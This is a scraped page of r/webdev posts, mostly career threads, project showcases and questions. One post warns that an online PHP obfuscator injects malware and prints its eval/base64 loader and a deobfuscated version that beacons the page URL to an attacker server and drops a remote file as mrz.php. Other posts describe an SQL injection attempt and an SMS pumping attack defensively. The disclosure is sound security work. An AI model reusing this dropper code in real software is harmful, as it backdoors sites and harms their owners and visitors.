r/webdev • • Sep 01 '26

Monthly Career Thread Monthly Getting Started / Web Dev Career Thread

67 Upvotes

Due to a growing influx of questions on this topic, it has been decided to commit a monthly thread dedicated to this topic to reduce the number of repeat posts on this topic. These types of posts will no longer be allowed in the main thread.

Many of these questions are also addressed in the sub FAQ or may have been asked in previous monthly career threads.

Subs dedicated to these types of questions include r/cscareerquestions for general and opened ended career questions and r/learnprogramming for early learning questions.

A general recommendation of topics to learn to become industry ready include:

You will also need a portfolio of work with 4-5 personal projects you built, and a resume/CV to apply for work.

Plan for 6-12 months of self study and project production for your portfolio before applying for work.


r/webdev • • 29d ago

Monthly Career Thread Monthly Getting Started / Web Dev Career Thread

17 Upvotes

Due to a growing influx of questions on this topic, it has been decided to commit a monthly thread dedicated to this topic to reduce the number of repeat posts on this topic. These types of posts will no longer be allowed in the main thread.

Many of these questions are also addressed in the sub FAQ or may have been asked in previous monthly career threads.

Subs dedicated to these types of questions include r/cscareerquestions for general and opened ended career questions and r/learnprogramming for early learning questions.

A general recommendation of topics to learn to become industry ready include:

You will also need a portfolio of work with 4-5 personal projects you built, and a resume/CV to apply for work.

Plan for 6-12 months of self study and project production for your portfolio before applying for work.


r/webdev • • 1d ago

The 2nd Google Result for "PHP Obfuscator" Injects Malware Into Your Code

Thumbnail
gallery
2.7k Upvotes

Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.

At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.

I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.

Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.

DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.

Infection still in: 2026-11-28 17:49 (UTC)

-------

Input:

<?php echo "Hello world";

Output (partial):

<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>

Output (deobfuscated, cleaned up)

<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url  = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

$context = stream_context_create([
    'http' => [
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query(['file_url' => $cur_url]),
    ],
]);
file_get_contents($c2_url, false, $context);

// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
    $payload = file_get_contents($_GET['file']);   // attacker-supplied URL
    if (file_put_contents('mrz.php', $payload)) {
        echo "File : mrz.php Success !";
    } else {
        echo "Error";
    }
    exit;
}

// 3. Decoy output so the page looks harmless
echo "Hello world";

r/webdev • • 21h ago

Discussion How are you managing secrets across multiple projects and environments?

14 Upvotes

Im curious how other developers and small teams handle secrets when they have multiple projects and environments (Dev, Testing, Staging, Production).

I'm finding that the workflow gets messy surprisingly quickly when multiple people are involved. Sharing .env files, managing access, making sure someone doesn't accidentally overwrite production credentials, keeping everything organized across projects, etc.

What are you using? What frustrates you the most about your current setup?


r/webdev • • 1d ago

Showoff Saturday I made a website where you can draw on real places around the world and discover what others left behind

Post image
89 Upvotes

I started this a while back as a "what if r/place, but on Street View" idea. You pick a spot on the map, you're dropped into a 360 photo of it, and you can draw on it together with whoever else is there.

I recently came back to it after seeing Adobe's Deep Brush, where the paint follows whatever surface it's on, and I really wanted that here too. So now every place has a depth map and a lighting map, and if you draw across a wall the paint bends with it and gets darker in the shadow. Getting that working was the most fun part of the whole project for me.

Drawings stay, so you can walk around and see what other people left. I added a little fish mural at the Colosseum so it doesn't start out empty :)

It's free, no account, and open source: https://github.com/mrktsm/paintaround.com

Hope you have fun with it: https://paintaround.com/


r/webdev • • 1d ago

Question How often do you do stuff with websockets in the course of your normal development?

54 Upvotes

For those that do stuff, are you doing direct websockets stuff (send messages, handle when a message arrives), or it is simply utilized as a part of libraries you use, but you don't actually have to dive into it? Do you run your own websockets server, or use a third party service?

I'm working on making a project have more real-time things going on and was wondering how much people here get into websockets development as a regular part of their work.


r/webdev • • 1d ago

The V8 JavaScript Runtime Undermined My Constant-Time JavaScript Library

Thumbnail
soatok.blog
7 Upvotes

r/webdev • • 1d ago

Discussion I am getting cooked by bot traffic.

Post image
27 Upvotes

why this is happening. Is this normal? I’m using Cloudflare and have already blocked several countries. My application is built with Next.js. What should I do to get rid of bot problem. Or it's inevitable.


r/webdev • • 1d ago

Showoff Saturday I built a full 3D pinball table you can play inside a Reddit post

Post image
10 Upvotes

I built 3D Neon Pinball, a full 3D table you can play right inside a Reddit post.

Play Neon Fusion on Reddit — tap PLAY to start.

After building Pinball Karma, I wanted to see if I could make a full 3D table feel good both in the Reddit app on a phone and on desktop. Neon Fusion is the first table, with ramps, a plunger, and multiball. It has touch controls on phones and keyboard controls on desktop.

In ranked modes, signed-in players can compare their best scores on the daily, weekly and all-time leaderboards.

Would love to hear how the table feels, especially on mobile. If you mod a community and want to help test a future build, I’d be happy to hear from you.


r/webdev • • 15h ago

Total beginner here: Do you use Claude in the terminal (CLI) or VS Code extension? What am I missing by sticking to the extension?

0 Upvotes

Hey everyone, I’m a beginner on coding and programming, trying to figure out the best way to set up Claude.

Since you can still view your files and code either way, what concrete advantages do you get from running Claude in the terminal that you can’t get in the VS Code extension?


r/webdev • • 1d ago

Showoff Saturday [Showoff Saturday] made a page that listens to whatever's playing in a tab and types the song out as code

Post image
8 Upvotes

you share a tab's audio (or use your mic, or drop a file in) and it writes the song out as strudel code while it's playing. kick, clap, hats, bass, chords, key, tempo. the lines light up when they hit.

it also draws to the song. there's a bunch of scenes that move with the beat (sharks, a koi pond, the earth from the space station) and a doom-style fire that burns hotter with the bass.

none of the live part is ml, it's all web audio. the kick was the hardest part by far.

there's a demo song button if you don't feel like sharing a tab: https://toaster.locust.lol

the desktop app goes further and can pull a song apart and rebuild it out of its own sounds.

been at it about 3 months. curious what you'd want it to do that it doesn't

source, MIT: https://github.com/StopBanning/toaster


r/webdev • • 1d ago

Showoff Saturday [Showoff Saturday] TenonCMS - A monolithic headless CMS

Thumbnail
gallery
19 Upvotes

Hi everyone!

I've been working as a freelancer for SMBs for the last few years. Often times my clients asked and required a CMS and since I dislike working with Wordpress, I used a setup of Nuxt and Astro depending on clients and requirements with a headless cms.

While that worked well, it always felt like I had to choose between easy setup (3rd party hosted cms with a vendor lock-in risk) or a second service i had to run, deploy and maintain. Markdown and fully static also were not ideal for my usecase. PayloadCMS is good, but I usually don't write react and it feels heavy.

This is why I built TenonCMS which is a CMS Package you can just install into your vite-based app. It's essentially a plug-and-play package that you can use with Astro, Nuxt and Tanstack Start or any other vite-based framework. It even supports being headless if you want to use it with a different language or stack.

It is entirely free and MIT licenced.

Some notable features:

  • Content modeling: In Typescript (so code as a config)
  • Supported Frameworks: Astro, Nuxt, Tanstack Start
  • Supported DBs: SQLite, Turso, Postgres, PGlite, Durable Objects
  • Supported Deployment Targets: Node, Cloudflare (DO), Vercel
  • Drafts and versions: drafts, scheduled publishing and a version history
  • Localization: localized content and a localized admin
  • Pages and SEO: Prebuilt, extensible presets that allow nested pages, SEO fields, sitemap, robots.txt and menus
  • Live preview: a visual editor and an admin bar on your own pages
  • Media: a media library with image transformations (Local + S3)
  • Users and access: password, passkey, magic link or email code, with roles, invites, access rules and API keys
  • Operations: Email (SMTP, CF Email Service), background jobs, cron schedules, webhooks, backup and restore
  • Customization: your own fields, admin pages, styles and plugins
  • HTTP API: a REST API with a typed browser client, for a frontend on another origin
  • CLI: Scaffold your application fast with a starter template and create backups, etc. with it

Website: TenonCMS

Repo: https://github.com/SuddenDev/TenonCMS

Feel free to try it out! I'm happy to get some feedback and users!

If you have any feature requests, let me know. PR and contribution welcome!


r/webdev • • 18h ago

Discussion Got hit by an SMS pumping attack today that burned my balance in 20 minutes

0 Upvotes

Got an auto-recharge email from my SMS provider today, followed by a second one a few minutes later. The projects on that account only get a handful of real signups a day, so burning through a full top-up out of nowhere made no sense.

First thing that threw me off: the regular programmable SMS log was completely empty. Zero messages from today. Dedicated OTP verification APIs keep their own separate attempt logs outside the standard SMS log, and that's where everything was sitting.

One single user account had fired nearly 90 verification SMS requests in about 20 minutes. 0% conversion, sequential numbers in expensive international corridors ($0.30 to $0.75 per text).

I already had rate limits on that endpoint, per phone number and per IP. What I was missing was a per-user limit, a global circuit breaker, and any check on destination SMS cost. So the attacker took one account, sent 5 texts to 5 sequential numbers, hit the IP limit, rotated to a new residential proxy IP, and sent 5 more. Five texts, one IP block, new IP, repeat. Meanwhile the provider's built-in fraud guard was enabled at its default "Standard" level and let every single one of them through.

Two other things that surprised me:

  1. Delayed settlement makes it look like your fix failed. International SMS charges take a few minutes to settle, so my balance kept dropping and triggered another auto-recharge after the attacker had already stopped. Checking the latest attempt timestamp instead of watching the balance was the only reliable signal.
  2. Shared provider credentials multiply the blast radius. Auditing every other project sharing that same SMS account turned up another signup endpoint with no rate limits at all, plus a test that had been hitting the live verification API on every CI run.

What actually closed it: per-user (hourly + daily) + per-phone + per-IP + global circuit breaker (in that order, with a destination SMS price cap checked before incrementing the global counter so one attacker can't DoS legitimate users), flipping phone verification to inbound messaging where the user sends a code to us for $0, maxing out carrier fraud guard, disabling unused channels (voice verification was wide open globally by default), and tightening geo permissions.

Anyone else run into this? Curious if carrier support actually refunds SMS pumping charges when their default fraud guard misses it.


r/webdev • • 1d ago

Showoff Saturday [Showoff Saturday] I built my portfolio as a pixel meadow with hand-written WebGL2 and no libraries

7 Upvotes

I'm a CS student about to graduate, and I wanted my portfolio to be something people actually play with instead of skim.

What it does:

Stack: WebGL2 + GLSL + Web Audio, plain JS and CSS, no framework, served from nginx on Fly.io.

The hardest part was getting it to look sharp at any screen size. I ended up rendering to a fixed low-res canvas and scaling it up with nearest-neighbor.

Feedback welcome, especially on performance on older phones.

https://shubhayharnale.com


r/webdev • • 20h ago

How does Tinder handle and record user swipe actions?

0 Upvotes

I'm asking if the post response is immediate or if they batch past swipe data and send it at once? I don't think they would send a query after every like or dislike, right?


r/webdev • • 1d ago

Showoff Saturday I built a PDF editor that runs entirely in your browser. It turns print-only forms into fillable ones, and when a PDF is missing a letter, it finds a font that matches

6 Upvotes

Hey r/webdev,

For the past 2 and a half months I've been building OasisPDF (https://oasispdf.com), a PDF editor that runs entirely on your own device. Your file is never uploaded. There's no account and no watermark.

I know. "Another PDF editor." That's exactly what I was afraid you'd say, so here are the two parts I'm most excited about.

1. Forms made for printing become fillable in one click
You know those PDF forms that are just lines and boxes, where you can't click anything? Open one and press Make it fillable. It finds the lines and boxes and turns them into real fields. You type, press Tab to get to the next field, check the boxes, and save. The fields are written into the file itself, so the form works in other PDF readers afterwards too.

It even works on scanned forms, where the page is just a picture. It looks at the picture (on your device) and offers to make the fields from it. Scans are harder, so give the fields a quick look. If it missed a spot, you can add a field by hand.

It also works with no connection. Open the page once, turn off Wi-Fi, and you can still make a form fillable, fill it in and save it.

Here's a form going from flat to fillable: https://oasispdf.com/make-pdf-fillable/ (you can find examples there or try your own !)

2. The Tailored font
This is the part I can't stop playing with.
Most PDFs only carry the letters they actually use. So when you fix a word and type a letter the file doesn't have, most editors drop in Arial and the word suddenly looks wrong.

OasisPDF looks at the shapes of the document's own letters and picks the closest font from about 700 open font families. Then it adjusts that font to the text around it. The rest of the word keeps the document's original letters, and only the new letter comes from the replacement. Many accented letters like é or ñ are built from the document's own letter, so they look like they were always there.

The first time I typed a letter into a strange display font and it just fit, I knew this was worth all the late nights.

Being honest about the limits:

- Desktop Chrome and Edge only, because it needs WebGPU. No Safari, Firefox or phones for now. I know...
- Very decorative fonts are still hard. Not every new letter comes out perfect.
- Scanned forms need a quick look-over.

It also edits the real text of a PDF (the paragraph re-wraps as you type), reads scanned pages in six languages, and does signatures and page reordering. It's free.

I'd really love your feedback, and please try to break it. Bring the ugliest PDF you have.


r/webdev • • 1d ago

Discussion Building software sized to its community

8 Upvotes

In the many years that I’ve been thinking of ideas and projects I should build, they’ve always centered around being ‘the next big thing’

But as I’ve built more for work and with what AI enables a solo dev. I’ve started to think of this idea of building ‘software sized to its community’

Essentially what this is, is the idea of finding one small group of people of who could utilize and appreciate a specific piece of software. Or the inverse don’t build with the intent of getting a million users

I have two experimental projects going with this in mind, a local puzzle/community homepage and a DnD companion app for a single campaign.

Curious what everyone thinks, or if anyone builds with this thinking in mind?


r/webdev • • 1d ago

Showoff Saturday [showoff-saturday] - I built an Interactive look at the Europa Clipper mission, ahead of its Earth flyby next week.

Thumbnail
gallery
6 Upvotes

Europa Clipper launched in 2024 and is on a 2.9 billion km trip to Jupiter's moon Europa. On 3 Dec it flies past Earth one last time, so I built an interactive 3D story of the whole journey, with a live mode that follows the spacecraft in real time.

How it's built:

  • React 19, React Three Fiber, TypeScript and Vite, hosted on Cloudflare
  • one scene in real kilometers, from the 30 m spacecraft out to Jupiter's orbit, using a logarithmic depth buffer and a Float64 floating origin that rebases every frame
  • positions from NASA/JPL's real trajectory data, baked into binary files
  • a painted, hand-drawn look made with custom shaders
  • works on phones too, which took a fair bit of extra layout work

Any feedback welcome, especially on how it runs on your device!

https://journeytoeuropa.com/


r/webdev • • 1d ago

Question Building tool, wondering if needed

1 Upvotes

Hey everyone, I hope this is allowed on the sub.

I’m currently working at an insurance company and my current workload involves a crazy amount of refactoring legacy code and overall modernising it.

I know everyone is exhausted of shills here but I’m just curious if people would find it useful to have an open source CLI tool that would automatically test API parity across releases to catch regression or it’s something that people usually write vast testing suites for.

Thanks for the feedback in advance.


r/webdev • • 2d ago

Just a reminder to every web dev, optimize your images!

Post image
823 Upvotes

So last night I was working on optimizing some code for a clients website. The site has been getting hammered by AI bots recently so I thought I’d go through all my code and make sure it was all as optimized as possible.

While analyzing the log file I noticed that someone was actively trying a SQL injection attack, so I thought I’d have some fun, I redirected all their requests to this image, which I didn’t compress in my rush to have some fun.

37,000 requests later and almost 10Gb of data transferred they finally stopped.

Yeah I realize it was probably an automated attack and they never actually saw the image, but part of me wishes it was some script kiddie and the image popped up on their screen 😜

So remember people, optimize your images!!


r/webdev • • 2d ago

Discussion Users asking to remove their commits under GDPR

176 Upvotes

Seeing a spike of people asking to remove their commits from open-source GitHub repositories that I am the owner of because those commits carry their personal email or other identifiers.

How are you handling these?


r/webdev • • 1d ago

Showoff Saturday [Showoff Saturday] A game directory in Django and htmx, signed-out pages cached at the edge

6 Upvotes

I built a game directory with Django, PostgreSQL and htmx, without a big JavaScript framework: pages work without scripts and get faster with them.

Signed out pages are cached for 30 seconds at the edge and purged when something changes, uploads are decoded in a sandboxed worker, and visitor counts are anonymous and cookie free.

Happy to get roasted and to answer anything about how it's built, and to hear what feels slow or odd on your device: https://gameplaydex.com


r/webdev • • 1d ago

Showoff Saturday Co-browsing without a screen share: streaming rrweb events over a WebRTC data channel

5 Upvotes

Hey r/webdev!

This is a live "see what the user sees" view for support. The user asks for help from the page they are on, someone from support joins, sees the page live, can point at things, take control after the user clicks Allow, and talk over audio or video. The GIF shows it with two real browsers.

A few things that were fun to figure out:

It's a DOM mirror, not video. rrweb already records the page as DOM events for session replay. Instead of streaming pixels, the live view sends those same events over a WebRTC data channel and replays them in the support person's browser, about 300 ms behind. Since it is the same masked stream, a masked input shows asterisks on their side too. rrweb does the heavy lifting here, and OpenReplay's Assist was the model for the idea.

Signaling with plain HTTP polling. Two peers only swap a handful of SDP offer/answer and ICE messages, so short polling was enough and no websocket server is needed. It runs only while someone is waiting or a call is open.

Hidden tabs throttle timers. Chrome slows timers in a background tab, so the server thought the visitor had left. Running the poll in a Web Worker fixed it, since worker timers aren't throttled the same way.

Remote control has honest limits. The helper's clicks and typing arrive as synthetic events, so anything that needs a real user gesture (popups, file pickers, clipboard) is refused by the browser, and that's fine. Password fields are never filled, and Escape gives control back.

The calls are their own package. Audio, video and screen share come from Holler, which does peer-to-peer calls between the users of a Laravel app, one on one or in small groups. The media goes browser to browser, and the server only relays the signaling over the same HTTP polling. A call survives a page load and reconnects in seconds. It uses a free public STUN server by default, and you can add your own TURN relay with credentials that expire per call. It works without the live view too: a call button next to any user.

The backend is Laravel, the recorder also ships as an npm package for standalone Vue/React frontends. Both are free and MIT:

Happy to go deeper on any of it: the data channel protocol (big messages go in 64 KB parts, pointer samples are dropped first when it falls behind), the masking, how control carries across page loads, or the calls.